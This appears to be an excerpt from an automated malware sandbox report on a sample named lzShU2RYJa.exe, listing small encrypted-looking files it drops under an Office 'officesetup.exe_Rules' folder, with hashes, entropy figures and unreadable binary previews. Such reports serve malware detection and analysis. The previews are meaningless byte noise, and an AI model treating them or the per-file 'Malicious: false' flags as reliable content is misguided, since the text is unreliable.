Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.719579414684625
Encrypted:	false
SSDEEP:	12:cDW6KeUQmQIuNuUcme6X2S+2rEm437cN5bX23QHG+nZighz1hmYRkCCST/0pSej9:g3KbQrb/5GgQm43AG3BMZighz1hgxAc9
MD5:	B005169BB48BF949C994E87AA8BDD637
SHA1:	6F875A97601D95E7D9A7A3F21C7E5DF61BA54354
SHA-256:	FAF2726997FC44D7D08627C7946ED0E197DA00D24ED6C57C8962ABC9162DF26C
SHA-512:	39F89AB9D62C69CD4AEC258C2B22735C6CDAF1EB23639A3DEDBD510C1CAACBAD587993FDDCF4DB021894AB3B985D8DAAD383D4B5B2CA074E3D29EB234C174612
Malicious:	false
Preview:	.<?T..56..Px...xW{{..!...oY(..#..m.....-.O<.FADV.."....=...=..mI...SV....H..gf:P&=*..H.g.g...af.x....Ar.T......8..UK.#L..x+Y.v.V.......f.Zw.r>-d..\. .A...B..i....l.!....'e......[.r....Z.h.T....ip.}..P9.~paD`.d..V.\|. P>......,5&.G..R..>E....[.....r }9..q?.l.r......N.{....7...;...6]......R.......h.5.....!R.\l.WM.B.C....0.b..Ik..2n......<.F.e..).Y=&@^.7<.....J.....p.>..]I..~..A..B..<=.D..vV.....2H{o....Rr.l.....k..EN.+9.\v..\.........=u....F...t..#..........}@.......42....t.i..T...8../..6.jW4.ciw.p.W.'......_.....~.H3L5.g.HP.K.h.I.u.....#.1...+>...IV.pa..u.&..../..%Q..S+..u.4.q..w....1Z..o....O.w...$.6\|.I.:.N..{....e^.Z.En.EL{n......\|......seitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.680536959075761
Encrypted:	false
SSDEEP:	24:aRwlBUGzC2ihyGatTe/EE2jGa4RFzHGf4+GaOXvHMBsxVbD:xBUZX0JIRF0NOXPMOFD
MD5:	E25B71C9F2922297683A10416D59062B
SHA1:	3B49E945BA79951A0F6E4EB242720BC8E4CECC2C
SHA-256:	21FF804D967AEBCE458B5BB37FC1B21DF88DFEB889AAF1700446D3D3C88DC2A3
SHA-512:	A63ABD58B4A8C488C9A9607E3528FC9246A58E4704CD72C39167E9D1DE1E6D144D7E5344B8EFF2D5C80D37D4A2FE728E7752583669D147C946DBB1AFC4156987
Malicious:	false
Preview:	.<?.9.K.....J..S.;.]...n.P..h{.9~.t..]>......-k.l;H.A.U.!.!...=..lb.s3.l....<.sX....>.@,.G...d.0~.=......h....l........U._5....Ds.B..h.g.D...TC....{K.1G[$3Q....40l.z.Z.t..Sq.L=!..H}Dr..l.U....W....q.......s.i..m......=<..iF2.gs.........X.......xwW.c.h.L.^!...R.2..gpZ....m"K_....X.....L.&.....l.\-...aV...+.O.=HTA5......yt..X`.......(.....OdS.`wd.P.X.#.q.[r......~.U....<....H{..?.m..h..9M......../.T.)..R........@...L...A\t..h.....V....U.9..A..L.k.\|.{.R.."...iD..L.....iFT8{...".cP......w..@mBYz.m.c..q..xe.q..\.[.ka..1.....Qt-..Dnt8R.\|.L?..].J..EP.U..t..7..R.B5..e.S... l\.T..B...4..L{`...z7...Q...6.7...W?........6...d.,#oE=...q.......D.....q...dm....r..P{.. ^v.......<Hai..f...Iu...}...v...u..1...Y.Ox.m.\|n5.>...g.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.7081643056298015
Encrypted:	false
SSDEEP:	12:y6ogocjIHlT+1REL56BMYHCfXJTt28tlw+KBXyjDOm5dLSjUmUYw8jVcii9a:yRccVKWLuMqC9t28tlwtyPdLSjUjY5VX
MD5:	4DEDC9000A5EFD7F9DCE4E12AA132DEA
SHA1:	86371E7A66B24823C687C62B04D03C2294A3E652
SHA-256:	82BF5AE380132A04157E14935CB2CFDD21C975F7D0BFFC17D6995A2DA8FDAF66
SHA-512:	8ACA8EDA4B3677E57D2AC36D1CC2D84B11595EA30D5C69A295857F50919CCFDB9CA19BE67DD4F2AB86A30471100FDE89707002996CE8704BC856833632B289E3
Malicious:	false
Preview:	.<?...\~....3xk..]....w.vip...D...4.V.a.....3.H.R.d.!......\.F...m...;.W...V..[a...b...>W...,\...X...{D...6....S..nP.A.p\.....Fg~....+X....;.........A....5..l..Vw....9A..X....<e...TM.A%.....$%@.....y...T{......(.,..[...3....J\|.....7.O._q..6....v..o\|..ck....M...1.#]!.\v..c8:.=....\|....>-9..lE..6~.ih.....&.N....Sk.N..'/.......P.....B..?.a@H......j(w.. ..\....X.......b.f.F.9.K...u.(;vp..}#\..C.<.....+.6...I.....8._.G..y.>.;.`.P....?...>%9.-.#.98...$.0K]V.d.lP.. ..j ......6....<w.$.s)%W3..QA.$....c6...4.y.........'.;.Nr@.i..@.L.g..W..[5o'k....2[&....%).}.......H.h.....gGi..Wd...S.jeD..)....dg.....G`(U.[.o..\..`.e.yq.!P..W....s..r.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.7412416705066365
Encrypted:	false
SSDEEP:	24:stOBRiB+/GeBTVb8wofhVrSqJWKfWDTNWQX2ocVbD:AIiBdub8JJxSqNfWDTNX0FD
MD5:	EB5EE54EFF7018A855A633523156ACC7
SHA1:	023E400F5DB1A1726601FBA6D4C38E4A2EE866E6
SHA-256:	906F85421AEE181D70FCD39A5B4B95C9094A59789D37EBDD2153BEB67A54B70B
SHA-512:	77F1A398497745A7F1B484F05F905FE7697189977183FC6BE159B9665785F70C29CAF4D88DD96DC4E323D2DE0DA41B3D830D709CF1AE600F9F770C507BF41637
Malicious:	false
Preview:	.<?..........&.\.Ne.l..5...P.4.....s..n.cb..+.b..eKu...ro....t..$x..S."...Cp.#...m..y.aB\|;9.6..U/"...#...D.-:&HD(...l"\.%..+..B.<-k./..@{..v.`..a.n..&..m.6.S}.5.{e;.....&Wxp.>)49......2.....X.....I.].{..4yz.....A...N.A...{T>.........D/.B.S..i.#..x1.L#.......e..^ar.v..Gr{n.L.[...;.O2..Qf2j......w...+..&`;&.1.E../g[~F.../J.gGH..T?k.#...w=.[.3.!...QAa?F........t...u..b..0.].....Z.x.u...]X :.m39._ ..R4.i.'. .KZ.....4.+..O..d%l..2....:...[.....d........!7..-90."$%.q.2..5LI..y/.JC.4....b..T8i..G..W9].EH:Oz..v........z..f..!..'J.....R..r..j........p..E...oN.v.ndK!....q.T6...,.&f.j.c.!...xnS.......$....8kpu.....Y..~.G.^.0..!^D./.>....,V....u...j.U.d...*...D:..-..2s9..U..v.k.I..._.z._.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.702472752192664
Encrypted:	false
SSDEEP:	12:B3q879oYJE9OYP4kulgZzxL1aVIzz03SNq8GY4vdVUZnaIkBOgun8LS5UQuZOpxW:B62oYJE3gXlgR+VF3SPwlVUZT58LS1uD
MD5:	2B5F554B5E7C021837221B5A5E310F3D
SHA1:	F56C7E55B71C4E2254590F198940B1D25EBFAC5C
SHA-256:	B0C8E20FA83FE0864C83FC2505433057AC47E09648CA48769457C9266D42126C
SHA-512:	19BA9CEE2CF27F8A14F12391D6CF63187469C7823EBFAABEF7776C78BB096FAA5632471EE24AE3831C45B20606D79A5D2A1968793625EE5991AA258A0BA4BD05
Malicious:	false
Preview:	.<?......L..Q'..F....U2.il....<Z....j.L_.9;..5.E........:;z...E.,=..&y........{.<......Aj.-..{B.K..#.#[.....Wfj..aa..."H...a../I.~...O.tg....$...O....w......I.r.1.@C...k.29_....F..W=...P../..5Ll2=v./..).qCg.L.7....L.H..b?6.3L9....e7cA...~........=;........L0.6......x.L..9.t.cp+A..B.....k.9.F.3..2.I..qq..k'....`N ..X........l.:B....R.]..T..dI....yT.\...a].DGa.{`....s8.v7.y.MN..j...0&0@.../.C......(l.A....O.v.7..Q.[......\|.Q.E.9+,.@..A...F....!./[x....#...l.,.U\..8]....{...x..Q.....C3.Y.aE.>..J.w.\?..h...np......,...b_=..H.y...=k.\..Z...>.Zs.....M..pP...{?..0x. ._.......................K.G'.i..i..?.2(Df`a8....t.X.....]n.5.a.A]...#."Ba.5RF.]itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.731460747776691
Encrypted:	false
SSDEEP:	12:GgdCYaEsk3V0Faxu1JEIFV88/4mpH3UAdBHoZsBS43A7XwwxcszJHoNjVcii9a:Lzo4vu1PFVpUvT43AUwxLyVbD
MD5:	23E63F47BD96CF0321543C6A87976D89
SHA1:	0A267408E74137DDFB7551659B51B7A13C7B6DC8
SHA-256:	8D1622DA0033695325D8A8FA090D8C0530D22CDA29E40B27AD366DB1306DB696
SHA-512:	3F65856F268B58787E7BA83E4C4836FB9D8DEFC9895A13A8F5CC3C5DFF7CC5148D9817F3C44CD0BAF628E174580592B9F7F417024597EE88C98FC046A84CBF0E
Malicious:	false
Preview:	.<?..X.Q.......S.....#..H5..J.,F..../x...........fD...nS.484..i.......i...P..K....Hpj.?.m.A2....R.=..2\......y....<..0.......KL ...h..-...pXi."j.p.&.t..D..$v..+.!....l.l..b..ji(`.....0.......cK\|...F.5...x._.FSM..r....)..... ....x;...>}...,.oA.....3A..'..7.$......}...XF...=.#.......R(.b.A.fxH,-.Y.}..=$..L'......5I. .$...K....^.... .>...........J....R.s..tra....).1^....yYo..S.......vwQ...o..R'........:...d...C.....I.?......rheK...L.@...Zg\.o!......4.)..e....4..EM..OF.....jBC.C..;+...jw.....cv..@.T..v_.}........i.....D..k..p;......,D....Y+...0.<vy.be.y....i.,G...Q....9...h.t,..w."...?............C.g..=...,.8.M..Z"9.n...u.........5.:.b.....loF.....}...8..........).K2.L...N-T.I...dd..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.709623627884792
Encrypted:	false
SSDEEP:	12:x0ZVMhPtvJcQocVc3o6vMI7VhhfCwMEI/oS5xQDJR8zANs9jVcii9a:xuIPtvSQXctFf1MEI/okWz8z4CVbD
MD5:	9A9061FC66219AEFD4FEC89474B124CB
SHA1:	F7F14DF651F0A54F7605C9936AB223926B8EDAD9
SHA-256:	2CA3E3026987A4191FAFDBFD9DD55D06B4375E356677AC213D2A2636DF2485C4
SHA-512:	83A42F0AA6CE1FFB96D6A5E7F1890045EBEB85FC5E9C040207AFC5CDBE03E6CDC470BC8B15C9A2D56D72A8FC5303F881903E58F04E75547DA921F0F4C0320A0E
Malicious:	false
Preview:	.<?2..&)TQs8.....7>b.y.:..Ed..0.9G..[.....(..#.9.....6.3.X...6^...9(a.-........-.D.xx.,8H^(...}.~..i....!..p...c.$Z..F.....~9._.B$.....TtZG.{q.4.G....no.`...dg.....%...0."..!}..^p...+...dp..j......%E...H3.............<..........~V5\.........I.Z7F......gh9....?.8\|d ..l..)v....1.{...E.,.p.!\...C.....]....G"..AF.[R)k+_..g..8.H...8Xp?.7,.f.t.....:u.s.&u..f<.s.W.'..h..c+}.0.J.6..I......\>... 12@.`z..a..L..S...a.....^g...M...E...../.6.wu......L.D..Y..r5o)..r.!..%.....r..\|SX.:Q..Y}AXkT.F.M2w.1[....I.o.Z.XQ..``l....g.....;W....... ....a.....8....?y...5>.ir....(.)@.7.Q.U..J8.p].8g\.u..!.].1..^VK.ud......-v\|.....nGh..."..p..A,......l...2.fN...n..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.713875876747731
Encrypted:	false
SSDEEP:	12:93BrusDqlZF7d4p8GYYrO1OhvL+g7tqmJCzDKzMwhp4bGXRbuhONOFjVcii9a:93Bruk2ZXnYi1OkgMmkDLtEmFVbD
MD5:	A090910DC9330A4A543C9899A80B02B3
SHA1:	1D75E86CF105C1678D775EAE745276E2073B6321
SHA-256:	9D1E4930543CEAB56B6D57239F79B11B3A9F1009FEC3280C57CA18D0ECC80AFB
SHA-512:	A0662FB7CE40226427CFB4BEF330F2AA5E76E42CE18606E4208B2FFEEC815F3A8789CA247B4FAE92C48C11C3D336C8B104CEA482A5A0C0E87367A1308EF54C07
Malicious:	false
Preview:	.<?..".....e.AV.."+9..B.f..Ock...U.c.3...d...B%O.[..5..........@. }..H,..B...~-.J.x........1. .y...X.V.`....>6.x.R....i6.....".l..JH.}9..Q..,o.d.%...e...xC......t.XIfk...+..Q$..T.....S..L....fN..X9..}..)\kJ...~...."&7~&..qJ.'?....3.gJD.#...i...$..^..7T. ...b.R...l.$..)0.u..{i.`.nt.s.I...M.../......\..3....;.._.0K..j.i..$..nL3h.+>j..o..T!.r.Y.~Y.A.@.D.+h.P...w...q...{..].b....f...DO.D...".B../.\|...e..dz....6.L....=.....%y.."'..F......@....9.K1..t....X)X s.~..%h...$N.$...j......Ih..x.B@OnW%...M...z.us.1.x.../...#.U.@..8.n6............n"2....7.N.......".R...]...3..}....d...>.I...I`8.@..[...f"i.+.V.T.....$q!lT.HB.-.[.......<...RB8...ho.......d...; 2.c.).3.<,...+\|.rpX.y.!...r..'#07].F..#gNitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.691120953045961
Encrypted:	false
SSDEEP:	12:l+yBYR/BvMWZUJkXtqVKFVzG/5uDszuvSToqGPwFQ/VNS4N8xkmGjVcii9a:l+yeRJmJ7VKHzGxuotToqqyQ97m6VbD
MD5:	9B36373799604E2AC45D9D9F65EE9DF9
SHA1:	616E6F13FAC4E837685F21485A6DF7DAC45714BE
SHA-256:	595AF1B81DACE44D4E5632E8253FBD7F9C03E239D1EB45CFBF3662094EA567AD
SHA-512:	0751531BD29812DD43A4BACB7B98F6A67C19CC6B9F83E1CC9864E548B174CF4D8A48FC52CBBD03758044F6AB03FACCFAFA68582C1E3981EF87F13ACEE96B8A99
Malicious:	false
Preview:	.<?t.E..P.].....E...y<.]...H.......m-._p.O.s..M\..S...../.P^p.....7....W$...x4.{?....#[..7;..^CL.....3...x.j;..5.xF...$....3.'~...?.J8X.\|3...HY.F....q.~B....Y0.....8{...).b..s.7o]LxF>..Nk...=>.....N.B.H..J.vM.q0.....$c.s..Vb..~..E]..F...u.....C..]....@.....F.g..B........U...'kO[.........K...M....~...P...u..~V..Z.J.E.T>...........g.Z.{.....^(]o....a-O.4.q....c../o..VZ..5.'....R......L.#...O.~.e^...0..>:...X..H..w.,...Y...Edg......G.$..%....v....C.......'....L..Lo,.2~.J.@g...U........."W...SK$IC......%......b.Q$.S\......\|.....h....=..K... kj.`.)BZ....1.H.z...s..!..z.9..zmgQ....;L...vj4.....+.....\.I..XW-....\|.Uitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.75153006112718
Encrypted:	false
SSDEEP:	12:LCaM5jU6/9M40UsCmTARKMiZ23V5fRCR2TpqRnXgZMhYVmTL0orjfYG5IfjVciik:8/y4/jmTAwMSo5fRHTYRMSY4fjTYVVbD
MD5:	62BF6BE26AAE9B64D824A4F9AA4B735A
SHA1:	524C21635EBBBEC9E7A84FC56FC256E206058601
SHA-256:	F17888D9A9A9ECC429E2868AEED4CC19784CAE5ED107EA6CD6CF01F07F5AE6CC
SHA-512:	81CADA53692DC97542A2AF2578F2BDA23C852A4479766397D4243BE00A289B319D774A7BA77273F5F15A490D244B19A4768E4BA6FB21316D17C47C80C1E113AA
Malicious:	false
Preview:	.<?..Y..........Gn.S...g......A9.....T....@.:Jn.2.,.B.sw..0,.NM..NA..p...<=.M..P..h...x.y.y..../$pW1,.}..91,M...../.....\|Y.-][../.>#j+....\|.%K..~...m2I.....s.!..\.6^.s..XAal..c.4...F.M.8.r.X....d...h.....).7#N....:;#{:...I.W+[...{.u..o..ds....q......]..&'.....+a~..W....P......'.z._`....<,g..G....V..6.UV......k..T.D$z.{...V.....h..,..(.z.....S..d.Q..&...a..}9....y.....-...=.....a...zS.."... .hE.!.......S..K.586..9u4...kq..(..@.D..d..o!....?..:.SC-.;.....z.^[:.xr.b......f..1.Xb...]..E......1.!..?....F..4.u..I?.....e..NZ\|k...S..L..7}.......>.=.........hp.]^.9.6...wJ4:...;.......~..yW.X]..?..o...A..._.....To.O.A.].b..#K:..m...i....&...m...%.s..3...+9.5*......h.3.R....Vn..B..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	7.695523311732047
Encrypted:	false
SSDEEP:	12:3BQ0I+OOoa0gPdj5T0Hon2M83dfXTq4xuWGxskmZOgJPqvlV86th63GLqlmqgqb2:xQ0IxOGg95wHoni3drVxuWGxskmU46fl
MD5:	42A780FD3393C27B15E534263C35D093
SHA1:	9D1D7FDD2CEA4883003338F30EFCAD7D1A713374
SHA-256:	4EB3FCA8D14811EF8643B98059B7018A06B77E9808B6E161ACF6A4421250355F
SHA-512:	A1B29A8FAEE7EEE13CA23FFD5998C1321543FAE658576CB1D9897383177F5633234A40A0E85785626EE5D456A9F1E013088AE573E89F7C366FD13440E65FC9E5
Malicious:	false
Preview:	.<?.W...=<.+..........4....G.:..Q.5\..1..o...~.....l....b;.w.....x.$...J+.b...2..V=W[.H.....G....M+-Y?{....H..m.-.T..U)..E.J..c.'.j.W..U}}m.K.j._8LYH...5F+u......$.,6vc.......>s..>.~.......M..O.....A.fe:....v,...I7?.:..}.....BF.\|..X@..)K>J...u;....%....h...'......^...:...........?.7.P.Zh...UE..~+.2.........@%.{......>2."...q^,B.....k.%h........a..WU$.kPj.=.-...m..n.!..^Y%.xQ...t....V<....N.,`..T.4 C..t....<.0.'..`.;I0Y...;.!?6....\|.C..B..y..9!-.........:8.J..I....E...?.[>x.3.G.D23!.n...=.O\|.....4.@o-.'..v...l.2.,..E.1q....D.giP.....~...6Vr)v.D.r.2oV..{.' .@...I%G.e....>4..\|...!Q"..&qj.....z...1.t..e.....4..{...$.l.....m0..O8...O8..T.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	825
Entropy (8bit):	7.7065392302846005
Encrypted:	false
SSDEEP:	24:2KSwwvOalmzfo801tzDs3/Sa8Lux/owTi5ZVbD:Mws4Q19fAowTsFD
MD5:	EA6DC47FB50E8596984E04D022A89AB1
SHA1:	46DABB9064CA5E898707731045D5B7EB2C1BA36A
SHA-256:	BFC62D694BEBE78DF5355D9D4B0341DF4EA6CEC78F059EB0AE2D0C6CF9DE5019
SHA-512:	B23C4CEAA984269466B486D394D4A1F01340B8EF824B430510B6E6A429DF43E09D1EEFA29BFD81EC3D28151F861F2E5C048A7D8A7DC8423D9455C5F69465BE2C
Malicious:	false
Preview:	.<?.[...4YF.w...<.Z..L....\|...D....?..S[.."(.../!._.........E..+..S_[.s\|.r.o.......6..3jE...#Rta.I...i.A...OR...<...).)....)0....+z.VG'.<?.~F.[...8....Z...P..x../..s...._(.im. .... 8../...c...?A..\3L..W..B.j .......n.w....A.1.6.,...D...D...).b................7(...aM.Yo..?mo..#c.%..h.ao%...0..B6W.2...{N......rm._...).A.;.!k.}.....pu...IoS...N.[...")%.....k.`E.WS .:.J..#..V4.V'L..f....g....2..V..2....).B.... ." "..."...5/^.....8........<N..U. .-HO.....fmr6.r#.g..`.2......X.....xf#...Z.5.;....X.nVD..?#.\|/0..]...y2..?.......j.}.......M...qx./..k4...\.d.....}..Sb....a..K..O&...".,RJY...A....$..n.B......5....6..J+g.9.(..?0..7.I.5..#.'5...\...E.3;.n..yUd.U...~,4...4q.P..$..s....@.w..<itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.696608646928411
Encrypted:	false
SSDEEP:	12:6mwcQzYAbPW0iAq5R2E4/3CZkFH6vgV2fNy0ED1WW0Unp3DnVL+bne1Gni8WjVcq:/QzrWVAqPDu3CZkFavgYfI5QW0Up3Dx/
MD5:	73C8C331770B5B8B48540E75A02124B2
SHA1:	6876AE83474F03F6F210291644F5692228899F29
SHA-256:	A167830FE5836ED282E3E57BE962F689C436D55C81F7A03E3BD2ECCD921BCD91
SHA-512:	1E05F704FB3A3AD5B231680AC107087258DB3387D44A913221EF7A6744764D92C9098FC7C6789454E682BC69DE5082A031814CA5E3E0A6B11933DBFA2F3DDA6F
Malicious:	false
Preview:	.<?T.eD9o...P.&s.!x......Q.......il..=..!...zy;....2.m.....'V..u.f............ma])....yx.Z.....`.i_..w]..BE. ...n.....o..k......@s\.k=$R%......._l......,._"+.J$K.hU..E%........y\|.L..(.g..q.../D......9...i..C..m..6.`.."+W.{..`.A%.d.}Z...ZS.R...\.'g....3.AjsG.......<hmG.".Zy..-@b.."4.j....C.e\|4.<..V....\|P..2..Zv.....z...[.E..\|.<.....w.\|Y.#\7.......O..P?PO*......s....B".GW}.....%.3....;.GZ..4o.......P.\|..B...C2...<.MNO.uN....o$sb.ja.......;#9...8...Nd.e.._.7.h\|M.x.\|.MNG...l._.....K..\D.U.....zi.h.C.v.f?..a..3.gon(.Q.I..`.5.....!oFB.-t.15.",...Qu...@Y.."v?.G.?.Vk...'...WB....yH.>..sE.h....}......{)"1.[.@...^e.E..y..iD.L......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.744527993913349
Encrypted:	false
SSDEEP:	24:DGzW5HwFs0oMQ0xXCe3XKl8DQT6Leb1VMVcVbD:DPHwFU0xCoVD/L0VscFD
MD5:	90CCB0BB7E3EEDF49319BC57AB98336B
SHA1:	1AC11934C5D7420F36D6A2D0762CC0559BDA70BF
SHA-256:	E715B1212484C9C0FE6500CF523D953267B11F06E6A74CB3C7FF0BC619CBE463
SHA-512:	DA8154CA1B8F6566BE7CE76E2B4EDA51FA308F75FE135D8BBC03424B023A734A1D14EA107885EB0DA9D724D7456B20E58132D3F0C8C85257D88D724A40AA7EE8
Malicious:	false
Preview:	.<?..uR./m.$F.R'.........V[..z~.w,..-".t.9?@...$......\=.......g...L.Bt.8k.M...Kg._...W.!....\|S+.3.{.....A...1...u+..A........g.s. &.+....F4.8...k........%...'].x..`.}.E4aH..K.G..0.......?...H.S.{..nb.<.............S\|j........}..p[..._........P..8....."..X.4.....7...4.Q.......6....B8J...3.....'..'.........,.o.x..+f,b.:Y.{...B..X.SR.^.{.<_.5.wy..:u...\|.E...z...;.u7v...`.....5.7..^.h.^.......q!.....&..M.....k...@[9.......j..\|>6Q.{.......~.L..V..vo;\....r%Q.J.(..Mf_.L.y.<...z.<.\|T.%sJ.D#..[....f.kB>?.@}.j3.O~..s....Y....9)2..<CxW..@.%....D..l....;..`O..o.....s..f..&F..a..:...w.....K......k.!(.RQ............j..2.27.#.R...\v.+.I$. ...HT.h/u.P-.X... ....l......@...>Pt..N.p!(..]...7..z8... ..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.723390033482404
Encrypted:	false
SSDEEP:	12:1H/lrhA2o8mkVGHaa8JOZ72qWRokVhufCBhXhzYBhmzJ5DMec89Mv8G+kjxqm6ft:1H/lrhsUKW/GkLuqdYHmzJ5DMeGz+kje
MD5:	FFE27AC97FAA4BCBD4ED9AEFD3F8D020
SHA1:	C9C7B3A477509A94298729E7CF579C3C006BDBEA
SHA-256:	FF19DC738C54BAD7D9454893581E6283A41FF7F4F6C9AB4574E03C25F47565AC
SHA-512:	83DD96398E0000EFE56FDA3DC22621728E97B11A5E5760CEBEFD044DFE45634BC9DAB96D1BC7BD3137BFBB2AEDC337FFB9ADB5305EBA1DA04492B3467ED1224D
Malicious:	false
Preview:	.<?L.8.`.. ....).....k.x5P ......$s#...}(.[.d.D..7W4.W."4....~....l.....B.%...Z....:.aH...r.QZ...Q...0q.'.&Mz6.<.:r...;.:K..Bg.y.d.R\|m)+..?i+.......m....`.....G.$............O.B.$...O..);,}= K!...T../}W...<.o...}...pZ.xZ......X..G.);.S.>..2.q...F...TK...=....?_...8j..b...=....].'...~-... ..........I+ks.(yK..'...q9..G.....l..e.T....Ei...E9,LHn .~.%.O.`.!.s......../..CL,34..R.......)...p.V.l...e./....9.)c.d: ....id. .z.5.Y..V."..8..T.v.a...O6.6-...s.U8....Q=R....<..&.Z.I.\|..R.Ea]...\|..=......1....J."5....V.5.}N..L....h...z.\.Y..oG.r.M_...(.m.v.......rBb0.......=rZ<..f..-.P..(Y.+.. .!!...x:t.....R.-.D.}...S=.n\|..-..e.#..>U.jK.m.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7030881232123285
Encrypted:	false
SSDEEP:	12:bnGvdpTd8JGwb1JtLqVDC8+uXbCJsUqGwgH/UtkaY8k+Bhs5yC+jVcii9a:b5t1J5qUlkbKsNmUO8/U8VbD
MD5:	9DA76E95878365B99AD4E97856F423B2
SHA1:	6402EB6AE72310DB0834CADBAF6E9C0D2D60EA0A
SHA-256:	DB588155B53391D320C19C525F7B4CF510D6E0D77870B1579778A14BC29FD503
SHA-512:	DFFAA2500F8F8BFAE0139B8B6952D035AD17C4CDA9CCB83C32FAF940A9EE9A3479A841427ED91A0973B5CC1D167C9978FDB5DFC5433894FBAE95DCF5B8189A58
Malicious:	false
